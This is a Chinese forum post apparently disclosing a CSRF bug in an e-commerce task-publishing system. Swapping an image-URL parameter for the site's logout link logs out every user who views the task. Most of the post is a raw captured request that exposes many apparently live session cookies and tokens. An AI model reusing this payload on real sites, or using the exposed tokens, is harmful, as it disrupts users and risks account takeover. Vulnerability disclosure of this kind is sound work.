|
本帖最后由 adopi 于 2023-8-27 23:18 编辑
某东某系统-存在 csrf 漏洞。
发布任务-商品图片参数可控,致他人用户退出登录。
https://xxx.com/newtask/myPublishTask.do
该填的都填上,上传一个正常都图片,然后发布任务获得如下数据包
- POST /newtask/publishTaskDetail.do HTTP/2
- Host: xxx.com
- Cookie:
- __jdu=1667624154651199351842;
- shshshfpa=bffbb7ed-0911-c439-d212-5efc6db00f4e-1667627595;
- shshshfpb=obokTCBPpMnJWsw3c3BBlzg;
- shshshfpx=bffbb7ed-0911-c439-d212-5efc6db00f4e-1667627595;
- user-key=672b01b1-e0ee-40cf-8eab-e47d1ccf049b;
- _tp=iiEf%2FmhIWLG599yV2myF5AJikW44lv8sW%2FsBAFiMuzc%3D;
- _pst=jd_4507931c2b851;
- unpl=JF8EALpnNSttWk9WUUwBExQQT1xRWwgLSR8DaTRXA1pdTV1RTgEYQUN7XlVdXxRKFR9sYx
- RXXFNPVg4ZBCsSEXtdVV9fD0oeBm5vNWRfXxgEARwKSRt-SzNcAjlDCx4CFyZiM21bS2QEKwIcFRZM
- XlFeWQ1MEwNvbw1WWVhCUQYrAysSGE9tZG5YCEoWAmdgBFNcaEpkBxoDHhYRTFxXWW1DJRZ
- Ob2ACUlpbTlQBHgUfEhBDVVZaXQFOFDNuVwY;
- areaId=17;
- ipLoc-djd=17-1381-0-0;
- logintype=wx;
- unick=jd_1xxxsc;
- pin=jd_4507931c2b851;
- npin=jd_4507931c2b851;
- pinId=aoz0B_dGKZVoBBgSBNaYErV9-x-f3wj7;
- language=zh_CN;
- cn_language=zh_CN;
- mba_muid=1667624154651199351842;
- __jdv=247986820|direct|-|none|-|1681090586992;
- jdc_art=1681090611834-Cki1kkdx7UyK20F566Ptg0JYRXPphsVq;
- jdc_art.sig=zIx59SlRnV-jjyx5HSZ-xqSmvCk;
- _base_=YKH2KDFHMOZBLCUV7NSRBWQUJPBI7JIMU5R3EFJ5UDHJ5LCU7R2NILKK5UJ6GLA2RGYT
- 464UKXAI4Z6HPCTN4UQM3WHVQ4ENFP57OC2LMMUEMI3EC6R675ULDU7EFTOO5DBCMEJCNW
- GBDQDCUPF4QE5PIKDPMDW5C2TOB4D5VZTFLDG6LO7SP5MGOZZAC3LW2CWZF5OZUQIZ4TAPF
- PJZMR5J56VPXJJWETKB757BUMMC2TRITAKA3RQRJOWOI2FU3JKA3CI6HATPPFF2BFMO2TANNK7D5ZYUHVKFW6WPMSPOBEVOUHLHUMRMZYXPEN7ZQ43BVW3Q6EHQCTF6FOIUATLJM6YV77X3
- BVXXATQ;
- ll-sso=e3e75483d1c50d71bb8c67119f4ec8b3%3Aaaca4c435e8fe8afd2cf07a89461de37ae5ea1bf
- 1f6dc7d7be4fd393c19442d1f7cdf6516b399666d0e1d001413049f1;
- focus-lang=zh_CN;
- token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IkhmVHQxcDJnWTZDVUlkZjlvd2xDIiwiaWF
- 0IjoxNjgxMTA5NzU5LCJleHAiOjE2ODE3MTQ1NTl9.GhbhjsfrhnIQ0BysZNFXivC3lJcIr_2G9Dm74aM
- qN0Y; focus-token=1f0b557148c98ce1bf2ec357f7a6e091; focus-team-id=; focus-client=WEB;
- chxy_language=zh_CN;
- shshshfp=09251028f5bc67ee4533160e6f8c813f;
- policy_loc=9IJ101V5YscBESAq8Q0upA==;
- smb_track=86C095E3BF0C4BC1986B4F73BA3F8359;
- wjQid=64057b4e25ef110155b70f5a;
- userName_jdme=;
- joyya=1681117442.1681118368.44.1700cg5;
- TrackerID=MUzPYrEF5-6XD9yHajP5OSbldiMwtK5ma9MgIDQQ1iuf-bSjOaAM7YiGlSHq1dZ_EOS7w
- 2-aLHSEENLtr_knx119_jToedHbpfbCR3gzoNjP9QXec63eOFWZTumgQ6xE;
- pt_key=AAJkM9ViADB18Rbg0RpcKjcrhdCCReySHiM3Uc7vxPFgsjCD1gfqOBWUBHLYgCRi6H55oQA
- 9iUs;
- pt_pin=jd_4507931c2b851;
- pt_token=jjbnputl;
- pwdt_id=jd_4507931c2b851;
- sfstoken=tk01m9ae81b43a8sM3gxeDNKOFQrNhqMGha910xkflqFBP2YbV+L4nlYsKSW/+iGR6yN/o
- dli0/8pyISiQ63ZWGNP85y;
- wxa_level=1;
- _gia_s_local_fingerprint=a5f6f112f16eedc49dc72d2fb354e4e1;
- _gia_s_e_joint={"eid":"FIH6HCA4K25HNQKDQDC2TQWRTECH5S2VIAB3N47EMB3BAXCGEVY7EX6
- 3PWYRXD6YOH4CG2GUYFJB7HA4RMUMWTOFT4","ma":"","im":"","os":"Mac
- OS
- X","ip":"sas.98.227.29","ia":"","uu":"","at":"5"};
- retina=1;
- jxsid=16811187508440301928;
- webp=1;
- visitkey=8170333901885338;
- 3AB9D23F7A4B3CSS=jdd03FIH6HCA4K25HNQKDQDC2TQWRTECH5S2VIAB3N47EMB3BAXCGEVY
- 7EX63PWYRXD6YOH4CG2GUYFJB7HA4RMUMWTOFT4AAAAMHNXPLJOAAAAAADL5UPD7PJ7ZO
- WMX; ai_page_btn_click_count=c4ca4238a0b923820dcc509a6f75849b; chat.jd.com=20170206;
- qid_uid=de3c0720-fb0b-42b7-9a20-0e52219c3aa6;
- qid_fs=1681177827238;
- qid_ls=1681177827238;
- qid_ts=1681177827255;
- qid_vis=1;
- AUTH_SESSION_ID=MGFjODE4ZjAtMmM2Yi00MWMyLTkzMjktZmNhODgyMTIyZGI4;
- AUTH_LOGIN_REDIRECT=6871B5BB13674257A82D15D6679BFBD8;
- brain-user-unique=496e400f2c4a45f66d1dc1bbf2c8f7e7c6124ce2;
- brain-access-token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRUeXBlIjo5OSwidGVuYW
- 50TmFtZSI6IuWMv-WQjeeUqOaIt-exu-Wei-acuuaehCIsInNjb3BlIjpbInJlYWQiLCJ3cml0ZSJdLCJ0ZW
- 5hbnRJZCI6IjE3MjQ2MDY0NzQ2NTI3NTM5MiIsInVzZXJOaWNrTmFtZSI6ImpkXzQ1MDc5MzFjMmI
- 4NTEiLCJ1c2VyVHlwZSI6OTksImV4cCI6MTY4MTIyMTI3MCwidXNlcklkIjoiMzgyNjMxMzc5OTg4Mz
- MyNTQ0IiwianRpIjoiOWNhOGYwZGMtNzYzMi00Zjg5LThlMTUtNjVhZjM4ODM2NGNjIiwiY2xpZW5
- 0X2lkIjoiY2xpZW50IiwiamRQaW4iOiJqZF80NTA3OTMxYzJiODUxIiwic3RhdHVzIjoxfQ.K8Vz19E62vv
- rMQsjKBHnp1MfIUcyUMjpGrLX_RZyS-d6lQMdjVtG3kkz1rmziYRap4vKs_nHtYfH2mlbXy4nIfMrt_W
- 6upvAUAobnGe0qS4Td7tPEZxHm4cmHqXqS4-flE0lLl_PxXUXyQ6FAf6ejUvM-Ea0U_lrKAUL2NhpM
- B6QEnDub4HxiD6wNnJTFDgzFGLWgxtnioPZ8kpjXDDVB4q8thbKxYzLdpOyqNtgKkwF-OY18TXwM_
- XBAT4vzujQNqEnbmo-ldZyOWwM3Hpw5lfOiFPHvE3U5vt5O3tAgwjuYXe1nBI-IwpHoW7LTVYKFAs
- OiSgw4ocI8HSFmMwSkA;
- RT="z=1&dm=jd.com&si=m8wwczn04v&ss=lgbjl9se&sl=4o&tt=8jo0&ld=48q1q&ul=48s47&hd=48
- s4f";
- cid=3;
- __jd_ref_cls=MSearch_DarkLines;
- appCode=msc588d6d5;
- qd_ad=jdpaycert.jd.com%7C-%7Cjd%7C-%7C0;
- qd_uid=LGBO77UB-25A7Z24EY13NJGB1T0YG;qd_fs=1681181738850;
- qd_ls=1681181738850;
- qd_ts=1681181738850;
- qd_sq=1;
- bill_pt_key=AAJkM9ViADB18Rbg0RpcKjcrhdCCReySHiM3Uc7vxPFgsjCD1gfqOBWUBHLYgCRi6H55
- oQA9iUs; bill_source=7; bill_entrance=100; qyjr_U=QURHbURQcU4xdUgrMzR2eUU5THdNQT09;
- qyjr_P=Zk85L2p3SmwzNndscDVLNS9GNW5ISldaeFZaMTJFdzA=;
- qyjr_user=iSRn6jEL179yr5M5gF+1pLNFNQNS2QMguE/Oy/bbJ+HIfXlb+g8UQU/FdqTP9D3R;
- _jdjr_qy_sid=TkJQdlhPQlZYWlUxRkpjOTVNQk00SnkwelNtNkFVTTVEMTlFSjBTNmtBMlZtY1ZXZGR
- oTU5BPT0=;
- type=publiser;
- userSt=4;
- 3AB9D23F7A4B3C9B=FIH6HCA4K25HNQKDQDC2TQWRTECH5S2VIAB3N47EMB3BAXCGEVY7EX63
- PWYRXD6YOH4CG2GUYFJB7HA4RMUMWTOFT4;
- wlfstk_smdl=cm26rgap6sd1wtgy5m46tb61jz643xwg;
- TrackID=1hk8p9EwH7Zk7dNjqfMR9UKUJq7EmwAlOfNVgNT2j8xXAplJELCLWC-1PrVhM3nSLwm0gL
- 2lTFwg1vWYT3YAxxLj68WdLzDuzpjAqo_v4miwev8Nl61vv5u1DyhpbenG5;
- ceshi3.com=000;
- __jda=243020114.1667624154651199351842.1667624155.1681184661.1681192839.89;
- __jdc=243020114;
- JSESSIONID=F04F94A07CA28E4956FE64BF83B91C7C.s1;
- __jdb=243020114.19.1667624154651199351842|89.1681192839;
- thor=1AEC2C3DEF910E38F23E728FCF5EA1FCB0FED64250A14630611D20190F7A474B462A9DFA
- 91EF4A158C33DA2B85D6D693D8D52F3A51120F3AACD0F31894018D5BC5CE09E972E28530C08
- 5D24A1D3FD3BDC13DB8D36C11F491341686D2AD27791BC3B6CED02C3CFC2484B4B77D70D56
- 113DF4E11C307D3071DEF9398861DB93F36E1FC575310426F10F2CC3C9014E5CB6291F29D9754
- 836DACD0380A2D5306CD05
- Content-Length: 374
- Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
- Accept: application/json, text/javascript, */*; q=0.01
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Sec-Ch-Ua-Mobile: ?0
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
- Gecko) Chrome/111.0.0.0 Safari/537.36
- Sec-Ch-Ua-Platform: "macOS"
- Origin: <a href="https://xxx.com" target="_blank">https://xxx.com</a>
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: cors
- Sec-Fetch-Dest: empty
- Referer: <a href="https://xxx.com/arpages/task_publish.html" target="_blank">https://xxx.com/arpages/task_publish.html</a>
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- modelUse=1&modelUseType=1&task_name=csrf-%E6%B5%8B%E8%AF%95&task_date=2023-04-
- 21&task_tel=1867ssas&task_email=caixu%40163.com&producers=&model_basis=1&task_num=
- 1&model_name=%E6%A8%A1%E5%9E%8B1&sku=12&imgv=https%3A%2F%2Fimg10.360buyimg.
- com%2Ffit%2Fjfs%2Ft1%2F131363%2F3%2F32550%2F13078%2F6434f8f5F90d58233%2Fb84fd7
- 60beb0ba44.jpg&color=0&category=%23%23%23%23&size=¬ice=
复制代码
对 imgv 参数进行更换如下链接,致其他用户身份认证退出无法正常使用该系统
更换为:
https://passport.xxx.com/uc/login?ltype=logout
更换前:
更换后:
可以在任务集市查看 我们发布带有恶意退出的任务.
访问相关任务即可加载恶意退出链接,或跳转到恶意链接。
即可
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|